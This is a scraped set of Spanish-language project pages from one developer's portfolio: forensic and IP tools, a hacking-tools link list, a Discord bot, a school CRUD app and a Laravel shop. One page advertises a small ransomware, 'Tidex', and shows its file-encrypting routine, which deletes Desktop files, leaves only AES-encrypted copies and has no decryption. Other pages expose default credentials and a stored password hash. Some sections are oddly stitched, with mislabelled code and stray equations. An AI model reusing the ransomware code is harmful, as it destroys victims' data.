Ejecuta el archivo **SISLOG.exe**.

---

### FUNCIÓN DE CACHÉ DNS

```python
# Función para mostrar la cache dns.
def get_dns_cache():
    dns_cache = subprocess.check_output(["ipconfig", "/displaydns"]).decode("ISO-8859-1")
    return dns_cache
```

### FUNCIÓN DE TAREAS Y PROCESOS EN EJECUCIÓN

```python
# Función para ver los procesos ejecutandose al momento.
def get_running_processes():
    processes_info = ""
    for process in psutil.process_iter():
        try:
            process_name = process.name()
            processes_info += process_name + "\n"
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            pass
    return processes_info


# Función para ver los servicios ejecutandose en el momento.
def get_running_services():
    services_info = ""
    for service in psutil.win_service_iter():
        try:
            if service.status() == "running":
                services_info += service.name() + "\n"
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            pass
    return services_info
```

---

### Ejemplo de salida TXT

![IMG](https://i.ibb.co/cx4bMw6/SisLog-2.jpg)

### Descargar

`git clone git@github.com:aiskoa/SisLog.git`

[⬇️ Ver la última versión ⬇️](https://github.com/aiskoa/SisLog/releases/tag/SISLOG)

### 🤝 Contribuyendo

¡Las contribuciones, los problemas y las solicitudes de características son bienvenidos! Siéntete libre de consultar la página de problemas.

### 💜 Muestra tu apoyo

¡Da una ⭐️ si este proyecto te ayudó! 

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](/LICENSE).

---


SISLOG Herramienta Forense


# Tidex

2 programas escritos en Python Metacrawler (Borrador de metadatos) y IPTracker (Búsqueda de IP).

&nbsp;

* Metacrawler: Borra metadatos en cualquier archivo de imagen o foto.
* IPTracker: Encuentra la ubicación de una dirección IP proporcionada por URL (opcional) y encuentra sus puertos abiertos, además de generar un informe de direcciones IP maliciosas.

&nbsp;

## Aquí está Metacrawler

![IMG](https://i.ibb.co/Qv9TfyZ/Metacrawler.png)

Ejemplo de código para Metacrawler

```python
# Se eliminan los metadatos
def remove_exif():
    global image_path
    image = Image.open(image_path)
    try:
        for key in image.info:
            if key in ExifTags.TAGS:
                del image.info[key]
        image.save(image_path)
    except:
        pass

# Se carga la imagen
def load_image():
    global filename, image_path
    root = tk.Tk()
    root.withdraw()
    image_path = filedialog.askopenfilename()
    if image_path:
        filename = os.path.basename(image_path)
        image = pygame.image.load(image_path)
        screen.blit(image, (0, 0))
        remove_exif()
```

&nbsp;
Ejemplo de código para IPTrack
## Aquí está IPTracker

![IMG](https://i.ibb.co/tbTMP0g/IPTracker.png)

```python
# Verificar si la dirección IP es maliciosa utilizando la API de VirusTotal
def is_malicious(ip, api_key):
    url = f'https://www.virustotal.com/api/v3/ip_addresses/{ip}'
    headers = {'x-apikey': api_key}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        data = response.json()
        stats = data.get('attributes', {}).get('last_analysis_stats', {})
        if stats.get('malicious') or stats.get('suspicious'):
            return True
    return False
```

## Modificar

En IPTracker
`api_key = 'API_KEY_HERE' con tu clave API de VirusTotal`

[Descargar aquí desde GitHub](https://github.com/aiskoa/Metacrawler-IPTracker)

[Ver la última versión](https://github.com/aiskoa/Metacrawler-IPTracker/releases/tag/Metacrawlerv1)

&nbsp;

~ [aiskoa](https://aiskoa.vercel.app/portfolio)💜

Metacrawler & IPTrack


# Tidex

Pequeño y simple Ransomware, solo funciona para cifrar archivos en la ruta del directorio Escritorio y subdirectorios.

&nbsp;

## Importante

Por el momento solo se puede ejecutar en máquinas Linux. Carece de función de descifrado.
La CLAVE es: **hkpykiiqftupr3okl04azj**

&nbsp;

Ejemplo de Código

```python
def _lock():
    for files in all_Ext:
        for _dotFile in glob.glob(files):
            print(_dotFile)
            f = open(f'{__dir()}/{_dotFile}', 'rb')
            dataArr = f.read()
            f.close()
            os.remove(f'{__dir()}/{_dotFile}')
            key = "hkpykiiqftupr3okl04azj"
            aes = pyaes.AESModeOfOperationCTR(key)
            EncryptData = aes.encrypt(dataArr)
            newArr = _dotFile.replace(char, "") + Ext
            newArr = open(f'{newArr}', 'wb')
            newArr.write(EncryptData)
            newArr.close()
```

### [Descargar aquí desde GitHub](https://github.com/aiskoa/Tidex)

Gracias
~ aiskoa.

Tidex Ransomware


## Acontinuación veras una pequeña lista de herramientas para ataque

Toda información aqui presentada es para fines educativos y de formación no soy responsable de su uso mal intencionado.
Solo daré una pequeña descripción sobre ellas, no profundizaré su uso de momento.
Al dar click sobre la herramienta automaticamente serás redirigido a la al sitio para descargar la herramienta.

&nbsp;

Actualizaciones:

* Aquatone cambio el repositorio a "Archivado" y planea hacer cambios importantes.

&nbsp;

### 1.- [Burp Suite - Framework.](https://portswigger.net/burp/communitydownload)

### 2.- [ZAP Proxy - Framework.](https://www.zaproxy.org/docs/desktop/addons/automation-framework/)

### 3.- [Dirsearch - Fuerza bruta HTTP.](https://github.com/maurosoria/dirsearch)

### 4.- [Nmap - Escaneo de puertos.](https://nmap.org/download.html)

### 5.- [Sublist3r - Descubrimiento de subdominio.](https://github.com/aboul3la/Sublist3r)

### 6.- [Amass - Descubrimiento de subdominio.](https://github.com/OWASP/Amass)

### 7.- [SQLmap - Explotación SQLi.](https://sqlmap.org)

### 8.- [Metasploit - Framework.](https://www.metasploit.com/download)

### 9.- [WPscan - Explotación WordPress.](https://github.com/wpscanteam/wpscan)

### 10.- [Nikto - Escaneo Webserver.](https://github.com/sullo/nikto)

### 11.- [HTTPX - Sondeo HTTP.](https://github.com/projectdiscovery/httpx)

### 12.- [Nuclei - Escaneo de plantillas YAML.](https://github.com/projectdiscovery/nuclei-templates)

### 13.- [FFUF - Sondeo HTTP.](https://github.com/ffuf/ffuf)

### 14.- [Subfinder - Descubrimiento de subdominio.](https://github.com/projectdiscovery/subfinder)

### 15.- [Masscan - Escaneo de puerto e IP masivo.](https://github.com/robertdavidgraham/masscan)

### 16.- [Lazy Recon - Descubrimiento de subdominio.](https://github.com/nahamsec/lazyrecon)

### 18.- [Aquatone - Inspección sobre HTTP.](https://github.com/michenriksen/aquatone/releases)

### 19.- [LinkFinder - Descubrimiento de endpoints sobre archivos JS.](https://github.com/GerbenJavado/LinkFinder)

### 20.- [JS-Scan - Descubrimiento de endpoints sobre archivos JS.](https://github.com/zseano/JS-Scan)

### 21.- [GAU- Mapeo sobre superficie de ataque.](https://github.com/lc/gau)

### 22.- [Parameth - Fuerza bruta en parametros GET y POST.](https://github.com/maK-/parameth)

### 23.- [truffleHog - Escuentra credenciales sobre commints de GitHub.](https://github.com/trufflesecurity/trufflehog)

&nbsp;

### Gracias por leer

~ aiskoa.


Herramientas Hacking Web P1


### Instalación

* Descargar y ejecutar.

Es una pequeña herramienta que muestra datos de un sitio web o IP introducida.

$$
\sum_{n=1}^\infty \frac{1}{n^2} = \frac{\pi^2}{6}
$$

La famosa ecuación es $E=mc^2$ y muestra la equivalencia entre masa y energía.

### Código

```javascript
import socket
import requests
from os import system

system('clear')
print("Bienvenido, por favor")
site = input("\nIngrese el sitio web: ")
ip = socket.gethostbyname(site)
got = requests.get(f"http://ip-api.com/json/{ip}").json()
lat = requests.get(f"http://ipwho.is/{ip}").json()

print("Direccion IP:", got["query"])
print("ISP:", got["isp"])
print("Tipo:", lat["type"])
```

### Descargar aquí

* [Descargar aquí](https://drive.google.com/file/d/1jlsOKaZSsocnx_mwd9pfCeWuZIDCKKaU/view?usp=share_link)


Rastreador de IP


![Banner](https://i.imgur.com/BD7u7kY.png)

# ALO POLSIA

## Gamer Community for everyone!

**ALO POLISIA 🍁** Fue una comunidad gamer surgida pre pandemia, en ella se desarrollaban diversas actividades gracias al Staff.

Se agradece de todo corazón a todos y todas aquellas que nos acompañarón tanto a los que estan y los que lastimosamente nos han dejado.

El sitio estaba construido con **PHP** y **MySQL** param el manejo de usuario y la base de datos tanto para el servidor web como para el de juegos.

Se uso **Oracle y PL/SQL** en una ocación para el manejo de la base de datos con minecraft bedrock server.

### Imagen de la consola de administrador

![Console](https://i.imgur.com/0HXaliv.png)

### Imagen del lobby del primer servidor de MC

![Spawn](https://i.imgur.com/YqkC6Yi.png)

### Imagen de la primer construccion en el primer servidor

![Lb1](https://i.imgur.com/9UrQr3x.png)

### Screeenshot de la comunidad en Discord

![SS](https://i.imgur.com/Raosfeg.png)

### Imagen del cierre

![Cierre](https://i.imgur.com/SgTDHoU.png)

### Acontinuación imagenes que pasarán a a posteridad

![LLOGO](https://i.imgur.com/pllkmTt.png)

![EmilySS](https://i.imgur.com/sa8VLDl.png)

![GG](https://i.imgur.com/KDyJLqP.png)

![Dejaserver](https://i.imgur.com/j7Ni4t1.png)

![Selfie](https://i.imgur.com/bI7aFGv.png)

![Const](https://i.imgur.com/AHwAiCC.png)

![Angie](https://i.imgur.com/BVcFncL.png)

### Config LogBlock (SQL)

```yaml
consumer:
  forceToProcessAtLeast: 200
  delayBetweenRuns: 2
  queueWarningSize: 1000
  timePerRun: 1000
  fireCustomEvents: false
  useBukkitScheduler: true
tools:
  toolblock:
    item: BEDROCK
    removeOnDisable: true
    canDrop: false
    leftClickBehavior: TOOL
    mode: LOOKUP
    aliases:
    - tb
    rightClickBehavior: BLOCK
    defaultEnabled: true
    dropToDisable: false
    permissionDefault: OP
    params: area 0 all sum none limit 15 desc since 60d silent
  tool:
    leftClickBehavior: NONE
    item: WOODEN_PICKAXE
    defaultEnabled: true
    mode: LOOKUP
    dropToDisable: false
    removeOnDisable: true
    aliases:
    - t
    params: area 0 all sum none limit 15 desc since 60d silent
    permissionDefault: OP
    canDrop: true
    rightClickBehavior: TOOL
lookup:
  linesPerPage: 15
  hardLinesLimit: 100000
  dateFormat: MM-dd HH:mm:ss
  defaultTime: 30 minutes
  defaultDist: 20
  linesLimit: 1500
mysql:
  password: password
  host: db4free.net
  port: 3306
  database: name_db
  requireSSL: false
  user: admin
questioner:
  askRollbacks: true
  askRedos: true
  askClearLogs: true
  banPermission: mcbans.ban.local
  askRollbackAfterBan: false
  askClearLogAfterRollback: true
logging:
  logFireSpreadAsPlayerWhoCreatedIt: true
  logCreeperExplosionsAsPlayerWhoTriggeredThese: false
  logFluidFlowAsPlayerWhoTriggeredIt: false
  logPlayerInfo: false
  logEnvironmentalKills: false
  hiddenPlayers: []
  ignoredChat:
  - /register
  - /login
  logBedExplosionsAsPlayerWhoTriggeredThese: true
  logKillsLevel: PLAYERS
  hiddenBlocks:
  - AIR
  - CAVE_AIR
  - VOID_AIR
clearlog:
  auto:
  - world "world" before 365 days all
  - world "world" player lavaflow waterflow leavesdecay before 7 days all
  - world "world" entities before 365 days
  - world "world_nether" before 365 days all
  - world "world_nether" player lavaflow waterflow leavesdecay before 7 days all
  - world "world_nether" entities before 365 days
  - world "world_the_end" before 365 days all
  - world "world_the_end" player lavaflow waterflow leavesdecay before 7 days all
  - world "world_the_end" entities before 365 days
  dumpDeletedLog: false
  autoClearLogDelay: 6h
  enableAutoClearLog: false
rollback:
  maxTime: 2 days
  dontRollback:
  - LAVA
  - TNT
  - FIRE
  maxArea: 50
  replaceAnyway:
  - LAVA
  - WATER
  - FIRE
  - GRASS_BLOCK
version: '1.14.1-SNAPSHOT (build #65)'
debug: false
safety:
  id:
    check: true
loggedWorlds:
- world
- world_nether
- world_the_end
previousMinecraftVersion: 1.14.4

```

---

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.


ALO POLISIA Community


# Fundamentos Ciberseguridad Pt 1.

&nbsp;

Te recomiendo ir al Cheatsheet para una versión mas dinamica y divertida de aprender estos terminos.
[Click para encontrar el Cheatsheet Completo](https://aiskoa.gitbook.io/glosario-de-hacking-ciberseguridad-y-redes/)

&nbsp;

🔮 Ciberespacio: Es el entorno resultante de la interacción de personas, software y servicios en internet, el cual esta respaldado por las tecnologias de información y comunicación.

&nbsp;

🛡 Partes interesadas: Se divide en 2.

* 🔹 Consumidores: Hacen uso de servicios dispuestos en el ciberespacio, Las personas y organizaciónes forman parte de esta.
* 🔹 Proveedores: Ponen a disposicion servicios para ser utilizados por los consumidores, como servicios de conectividad y de acceso a aplicaciones.

&nbsp;

💿 Activos: Los principares activos se dividen en 4

* 🔹 Activos Organizacionles: Involucran a componentes importantes oara los procesos de negocios de las organizaciones como servidores, aplicaciones, entre otras.
* 🔹 Activos Personales: Involucran a componentes importantes para las personas en su interación con el ciberespacio (dispositivos móviles, correo electronico, etc)
* 🔹 Activos Fisicos: Involulcran a componentes aue poseen presencia fisica en la realidad como servidores, dispositivos móviles, etc.
* 🔹 Activos Virtuales: Involucran a componentes únicamente digitales y dependern de un Activo Fisico que los ejecute.

&nbsp;

🍘 Seguridad de la información:  Se refiere a la protección de la informatción y los sistemas de información contra el acceso, uso, divulgación, interrupción, modificación o destrucción no autorizados para proporcionar confidencialidad, integridad y disponibilidad.

&nbsp;

🔑 Los 3 Pilares de la Seguridad: Triada CID (CIA): Definen aspectos funcamentales de protección de la información cuya afectación implica un problema de seguridad.

* 🔹 Confidencialidad (Confidentiality): Busca prevenir la divulgación y acceso no autorizado a la información confidencial de la organización.
* 🔹 Disponibilidad (Availability): Vusca que el acceso a la información no sea degradada y se mantenga accesible cuando se requiera.
* 🔹 Integridad (Integrity): Busca que la información se mantenga inalterada ante accidentes o intentos maliciosos de modificación.

&nbsp;

🍘 Ciberseguridad: Es la capacidad de proteger o defender el uso del ciberespacio de los ciberataques y garantizar que se alcancen y mantengan los objetivos de seguridad. La ciberseguridad es parte de la seguridad de la información.

&nbsp;

🐙 Agentes de amenaza: Actor o ente capaz de desencadenar o ejecutar potencialmente un ciberataque o inceidente de seguridad.

* 🔹 Cbercriminales
* 🔹 Hacktivistas
* 🔹 Ciberterroristas
* 🔹 Script kiddies
* 🔹 Insiders/Atacantes internos
* 🔹 Estados o naciones
* 🔹 Corporaciones u otras empresas

&nbsp;

🐙 Amenazas.: Evento con potencial de afectar negativamente a los actvos con respecto a los 3 pilares  de la seguridad.

* 🔹 Amenazas a los grupos organizacionales.
* 🔹 Amenazas a los activos personales.

&nbsp;

👿 Vulnerabilidad: Debilidad o fallo en un sistema que pone en compromiso su seguridad.

&nbsp;

💀 Riesgo: Medida calculada metodológicamente fruto de la probabilidad e impacto de la materialización de un evento de ciberseguridad adverso.

&nbsp;

🤖 Control: Acción tomada por las organizaciones para abordar un riesgo y reducirlo hasta un punto aceptable.

&nbsp;

* Acceso a mi [Sitio Web](https://aiskoa.vercel.app/es/blog/)

## Gracias por leer la parte 1

aiskoa.


Fundamentos Ciberseguridad 1


**Script realizado por [S4vitar](https://www.youtube.com/c/s4vitar), modificado por mi agregando una función para analizar los puertos abiertos.**

*El codigo completo se encuentra en [GitHub](https://github.com/aiskoa/W1chsystem)*

Herramienta sencilal.

```python
#!/usr/bin/python3
#coding: utf-8

import re, sys, subprocess

print("W1hchSystem2")

#Usage python3 wh1chSystem.py 10.10.10.205

ip = re.compile("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")

def dato_erroneo():

  if len(sys.argv) != 2 or sys.argv[1]
 != ip:
   print("\n[!] Usage: python3 " 
   + sys.argv[0] + " <ip-direction>\n")
   sys.exit(1)

def get_ttl(ip_address):

 proc = subprocess.Popen(["/usr/bin/ping 
 -c 1 %s" % 
 ip_address, ""], stdout=subprocess.PIPE, 
 shell=True)
 
 (out,err) = proc.communicate()

 out = out.split()
 out = out[12].decode('utf-8')

 try:

  ttl_value = re.findall(r"\d{1,3}", 
  out)[0]
  
  return ttl_value

 except IndexError:
   
  if ttl_value is IndexError:
   print("Machine out of order")
   sys.exit(1)


def get_os(ttl):

 ttl = int(ttl)

 if ttl >=0 and ttl <=64:
  return "Linux"
 
 elif ttl >= 65 and ttl <= 128:
  return "Windows"
  
 else:
  return "Not Found"
```


W1chSystem2 OS port scan


![Captura](https://raw.githubusercontent.com/aiskoa/Chilltify/main/Screenshots/Index.png)

## Instalación

* La guía completa se puede encontrar en [GitHub](https://github.com/aiskoa/Chilltify)

<h1 align="center">🌜 Música Lofi - Sesiones de Diana 🌛</h1>

[![license](https://img.shields.io/github/license/KillahPotatoes/KP-Liberation.svg)](/LICENSE)

[![GitHub Release Date](https://img.shields.io/github/release-date/KillahPotatoes/KP-Liberation.svg)](https://github.com/aiskoa/Chilltify/releases)

[![GitHub contributors](https://img.shields.io/github/contributors/KillahPotatoes/KP-Liberation)](https://github.com/aiskoa/Chilltify/contributors)

[![GitHub forks](https://img.shields.io/github/forks/KillahPotatoes/KP-Liberation)](https://github.com/aiskoa/Chilltify/network)

<p align="center">
  Aplicación de música Lofi hecha en electron, basada en las "Sesiones de Diana" de Riot Games Music.

> Este proyecto fue hecho solo con fines educativos, y la música proviene originalmente de [Riot Games Music](https://www.youtube.com/c/riotgamesmusic)

## Descargar

Disponible para Mac, Linux y Windows.

Instalador `.exe` solo disponible para Windows.

[Instalador de Windows](https://drive.google.com/uc?export=download&confirm=01yo&id=1jaOdnnbRDlwPOBI3_pnWF0P0E6ASZKUS)

[MacOS](https://drive.google.com/drive/folders/1LOYV_qe18X_R_i_79w7tK7rw661Jzd10?usp=sharing)

[Linux](https://drive.google.com/drive/folders/1_6AQhmQ0W0Uni2w_MwGZR6uMiy_oZVb7?usp=sharing)

## Licencia
💜 [Licencia MIT](https://github.com/aiskoa/Chilltify/blob/main/LICENSE)

### Ejemplo de Código

```javascript
//Llamamos a createwindow de main.js
const {createWindow} = require('./main')
const {app} = require('electron')
const path = require('path');
//Llamamos al modulo de electron
require('electron-reload')(__dirname, {
    electron: path.join(__dirname, 
    'node_modules/.bin/electron')
});
app.allowRendererProcessReuse = false;
//Para Mac Os "darwin", cuando se pulse 
//salir, 
//debera invocar el metodo quit del 
//objeto app 
app.whenReady().then(createWindow)
app.on('window-all-closed', () => {
    if (process.platform !== 'darwin') {  
        app.quit()
    }
});
//Para Mac Os, cuando la aplicacion 
//se quede en el dock este 
// reactivarse con el evento activate
app.on('activate', function() {
    if (BrowserWindow.getAllWindows
    ().length === 0){
        createWindow();
    }
});
```

Clon de Spotify para las Sesiones de Diana


![Cler](https://i.ibb.co/3h4PkHZ/clerbgred.gif)

# Cler - Discord Multipurpose Bot

# Installation
* The complete guide can be found at [GitHub](https://github.com/aiskoa/Cler-page)
* All documentation can be found at [Docs](https://aiskoa.gitbook.io/cler/)
* Official website at [Page](https://aiskoa.github.io/Cler-page/)


# About Cler | Acerca de Cler

[Invite Cler on your server](https://discord.com/oauth2/authorize?client_id=774150617546883073&permissions=8&scope=bot)
* |Warning| Spanish discord bot, code in node.js / discord.js, but it is easy to learn each command.
Please report any issue or bug.
DM to: @NexDrak ( ╥ω╥ )

* |Advertencia| Bot para discord en español escrito en node.js / discord.js.
Informa cualquier problema o error.
MD a @NexDrak ( ╥ω╥ )

#### *Spanish language only from here*
# Lo que puede hacer en ATM
### (Asynchronous Transfer Mode)
- Usa el prefix. `c!`
  - ~~buscar manga, anime, reviews... owo~~ pronto.
- Unirse a un canal de voz y reproducir un texto en TTS _(Text to speech)_ (soporta español, inglés, francés, rumano, coreano, japonés y portugués (*・ω・)ﾉ *cada uno con su respectivo comando, en_tts, ko_tts, etc*
- Ahora con mas secretos (｢• ω •)｢ (⌒ω⌒`)
- Bot en Discord.js v12.4.1

# Planes a futuro
- Pagina Web mas linda
  - Conectar con MariaDB
  - Borrar datos antiguos y caché
- Soporte para comandos slash
- Comer bayas azules
- Jugar afuera

Postdata: Si abandoné este proyecto es porque me aburrí o no mejore el bot a una mejor versión de Discord.

# Comandos
Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

Estructura y Diagramación en Repositorio de [Github](https://github.com/aiskoa/Cler)

### Admin / Mod
* `c!mute  <@member> <reason>` Silencia al miembro etiquetado.
* `c!unmute  <@member> <reason>` Quita el Silenco del miembro etiquetado. 
* `c!setmute  <@rol>` Define el rol de Mute en el servidor **Importante**.
* `c!ban <@member> <reason>` Expulsa del servidor de manera difinitiva al miembro etiquetado.
* `c!unban <@member>` Revoca la prohibición del comando anterior. 
* `c!kick <@member> <reason>` Expulsa del servidor al miembro etiquetado.
* `c!softban <@member> <reason>` Expulsa del servidor al miembro etiquetado de manera temporal por 7 dias.
* `c!hackban <@member> <reason>` Expulsa del servidor de manera definitiva al miembro seleccionado y asi como tambien borrando todos sus mensajes enviados.
* `c!warn <@member> <reason>` Notifica al miembro seleccionado
* `c!bc <#channel> <message>` Envia un mensaje de manera remota al canal seleccionado Nombre o ID.

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

### Acción
* `c!hug  <@member>` Envia un Gif de Abrazo / Imagen. 
* `c!kiss <@member>` Envia un Gif de Beso / Imagen. 
* `c!kill <@member>` Envia un Gif de Mat#r / Imagen. 
* `c!pat <@member>` Envia un Gif de Caricia / Imagen.
* `c!lick <@member>` Envia un Gif de Lamida / Imagen. 
* `c!slap <@member>` Envia un Gif de Golpe / Imagen. 
* `c!feed <@member>` Envia un Gif de Alimentar / Imagen. 
* `c!cry` Envia un Gif de Llorar / Imagen.
* `c!angry` Envia un Gif de Enojo / Imagen.
* `c!happy` Envia un Gif de Felicidad / Imagen.
* `c!dance` Envia un Gif de Danza / Imagen.
* `c!confused` Envia un Gif de Confundido / Imagen.
* `c!blush` Envia un Gif de Sonrojar / Imagen.
* `c!sleep` Envia un Gif de Dormir / Imagen.
* `c!bored` Envia un Gif de Aburrido / Imagen.

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

### Diversión
* `c!8ball  <@member>` Da respuesta aleatoria a un apregunta de tu interes. 
* `c!ascii <@member>` envia un texto en ascii. 
* `c!say <args>` repite el texto dicho. 
* `c!say embed <args>` repite lo que hayas dicho pero en texto embebido. 
* `c!love <@member>` Mide tu compatibilidad de amor con el usuario mencionado.
* `c!impostor <@member>` Envia un texto con el impostor. 
* `c!hack <@member>` Simula un hackeo al usuario / Imagen.
* `c!chiste` Envia una imagen con chiste / Imagen.

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

### Utileria
* `c!avatar  <@member>` Envia el avatar de un usuario Gif / Imagen. 
* `c!tts  <args>` Se une al canal de voz que estes y repite el texto dicho en español / Audio. 
* `c!en_tts  <args>` Se une al canal de voz que estes y repite el texto dicho en ingles / Audio. 

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

### NSFW
Envia un gif o imagen 
* `c!netorare`
* `c!maid`

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler/)

### Libraries and frameworks used
* [dotenv](https://github.com/motdotla/dotenv#readme) and [express-js](http://expressjs.com/)
* [typescript](https://www.typescriptlang.org/)
* [discord.js](https://github.com/discordjs/discord.js/) and [@discordjs/opus](https://www.npmjs.com/package/@discordjs/opus)
* [weather-js](https://github.com/devfacet/weather)
* [mongoose](https://github.com/Automattic/mongoose)
* [megadb](https://github.com/sergiom19/guia-megadb)
* [nekos-image-api](https://www.npmjs.com/package/nekos-image-api) and [nekos.life](https://github.com/Nekos-life/nekos-dot-life)
* [node-fetch](https://github.com/node-fetch/node-fetch)
* [os](https://github.com/DiegoRBaquero/node-os)
* [akaneko](https://npm.io/package/akaneko)
* [star-labs](https://www.npmjs.com/package/star-labs)
* [figlet](https://github.com/patorjk/figlet.js#readme)
* [mech-aki](https://github.com/MechSlayer/mech-aki#readme)
* [discord-tts](https://www.npmjs.com/package/discord-tts)

Cler Discord Bot Version 1.0


# Instalación

* La guía completa se puede encontrar en [GitHub](https://github.com/aiskoa/espejito)
* La página se puede encontrar [Aquí](https://aiskoa.github.io/espejito/)

<h1 align="center">🍀 Espejito... Mis Datos 🍀</h1>
  Pequeña aplicación que muestra los datos que una página web puede obtener
</p>

> Este proyecto fue hecho solo con fines de aprendizaje

* Acceso al [Sitio Web](https://aiskoa.github.io/espejito/)

## Finalizar

* Ve tus datos, si estás usando VPN mostrará otra dirección, si estás usando Brave u otro navegador puede que bloquee el rastreo.

#### Descargar

Disponible para Mac, Linux y Windows.

[Revisa la última versión](https://github.com/aiskoa/espejito)

### Licencia

💜 [Licencia MIT](https://github.com/aiskoa/espejito/blob/main/LICENSE)

### Ejemplo de Código

```javascript
const container = 
document.getElementById("sections");

const sections = [
  {
    title: "Estas usando un navegador",
    content: {
      Nombre: platform.name,
      Version: platform.version,
      Diseño: platform.layout,
      Idioma: navigator.language,
      Cookies: navigator.cookieEnabled,
      "No rastrear": navigator.doNotTrack,
      Complementos: navigator.plugins?.length,
    },
  },
];
```

Espejito


# Java CRUD

<h1 align="center">☕ JAVA CRUD Alumnos ☕</h1>
<p align="center">
  Java CRUD para la inscripción, edición y eliminación de alumnos de una escuela, esta inscripción funciona con base de datos MySQL. Usando NetBeans

### Login
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/login.png)

### Edit
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/edit.png)

### View
  ![Javacrud](https://raw.githubusercontent.com/aiskoa/java-crud-alumnos/main/src/resources/img/view.png)
</p>
<br>
> Este proyecto se ha realizado únicamente con fines de aprendizaje, cualquier error que se pueda encontrar debe ser corregido por usted mismo.
<br>

* [GitHub](https://github.com/aiskoa/java-crud-alumnos)
  
* [Docs](https://github.com/aiskoa/java-crud-alumnos/blob/main/DocCalificaciones.pdf)

<br>
<br>

>>Database:
```sql
Name: dbcalificaciones,   `NumeroLista` int(11) NOT NULL,
  `Nombre` varchar(50) NOT NULL,
  `ApellidoPaterno` varchar(50) NOT NULL,
  `Sexo` varchar(15) NOT NULL,
  `Carrera` varchar(50) NOT NULL,
  `Materia` varchar(50) NOT NULL,
  `PlanEstudios` int(11) NOT NULL,
  `D1` int(11) NOT NULL,
  `D2` int(11) NOT NULL,
  `D3` int(11) NOT NULL,
  `PromedioR` int(11) NOT NULL,
  `Secuencia` varchar(20) NOT NULL,
  `NoEquipo` int(11) NOT NULL.
```

&nbsp;

  and
```sql
>>`id` int(11) NOT NULL,
  `user` varchar(45) NOT NULL,
  `password` varchar(255) NOT NULL  
```

&nbsp;

user: admin@root.com password: root
<br>
el conector mysql para java se encuentra en la carpeta del controlador
<br>


# How to use

## Step 1

* Importa el proyecto a tu carpeta de netbeans.

## Step 2

* Abra el proyecto, compruebe si hay errores luego compile y ejecute.

## Step 3

* Si ya has conectado la base de datos y todo funciona, puedes compilar el proyecto a .jar

<br>

# Download
Disponible solo en Windows.

[Check the latest release](https://github.com/aiskoa/java-crud-alumnos)

<br>

# Complete Documentation

[PDF](./DocCalificaciones.pdf)

<br>

# License

💜 [MIT License](/LICENSE)

Java CRUD


# CASA DE LOS COMICS

![imageTitle](https://i.ibb.co/f4TJcSD/casacomics.png)

## Laravel, PHP y MySQL

Tienda online realizada en Laravel y Braintree para pagos con Paypal.

![StoreGIF](https://i.imgur.com/GaOgDrE.gif)

### Características

Productos, Pago, Carrito, Pedidos, Checkout, Panel de administración, Paypal, Mastercard o Visa.

## 📦 Productos

![Products](https://i.imgur.com/wAEz6UJ.jpg)

![Product](https://i.imgur.com/3omPNj5.jpg)

## 🛒 Carrito

![Cart](https://i.imgur.com/0Pu4B4U.jpg)

## ℹ️ Registro

![Cart](https://i.imgur.com/ZGpxdHz.jpeg)

## 💁 Acerca de

![Cart](https://i.imgur.com/uovdT1p.jpeg)

---

Las tablas se cargan desde la base de datos llamada dbventascc en phpmyadmin.

## 🏨 Bases de datos

![Cart](https://i.imgur.com/Abyk012.jpeg)

### Tabla de Administradores

```sql
-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `admins`
--

CREATE TABLE IF NOT EXISTS `admins` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `password` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL,
  `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `admins_email_unique` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Volcado de datos para la tabla `admins`
--

INSERT INTO `admins` (`id`, `name`, `email`, `password`, `remember_token`, `created_at`, `updated_at`) VALUES
(1, 'admin', 'admin@root.com', '$2y$10$rGSPlWzTNYA.TrstOhMk.OQxt61X70IhN6ekvk328hFEEEMJIGMby', 'am6MEUQjGTeNmjnASaeBKpzbyrOfqPM39BK7qp0zaC0axXJncsvoUeXXaV8P', '2021-05-03 08:12:39', '2021-05-03 08:12:39');

-- --------------------------------------------------------
```

### Tabla de Pagos

```php
<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

$uri = urldecode(
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)
);

// This file allows us to emulate Apache's "mod_rewrite" functionality from the
// built-in PHP web server. This provides a convenient way to test a Laravel
// application without having installed a "real" web server software here.
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
    return false;
}

require_once __DIR__.'/public/index.php';

```

---

### 💻 Consola

![Console](https://i.imgur.com/mdeSN2n.jpeg)

### Funciones de Hashing para contraseñas

```sql
<?php

return [

    /*
    |--------------------------------------------------------------------------
    | Default Hash Driver
    |--------------------------------------------------------------------------
    |
    | This option controls the default hash driver that will be used to hash
    | passwords for your application. By default, the bcrypt algorithm is
    | used; however, you remain free to modify this option if you wish.
    |
    | Supported: "bcrypt", "argon"
    |
    */

    'driver' => 'bcrypt',

    /*
    |--------------------------------------------------------------------------
    | Bcrypt Options
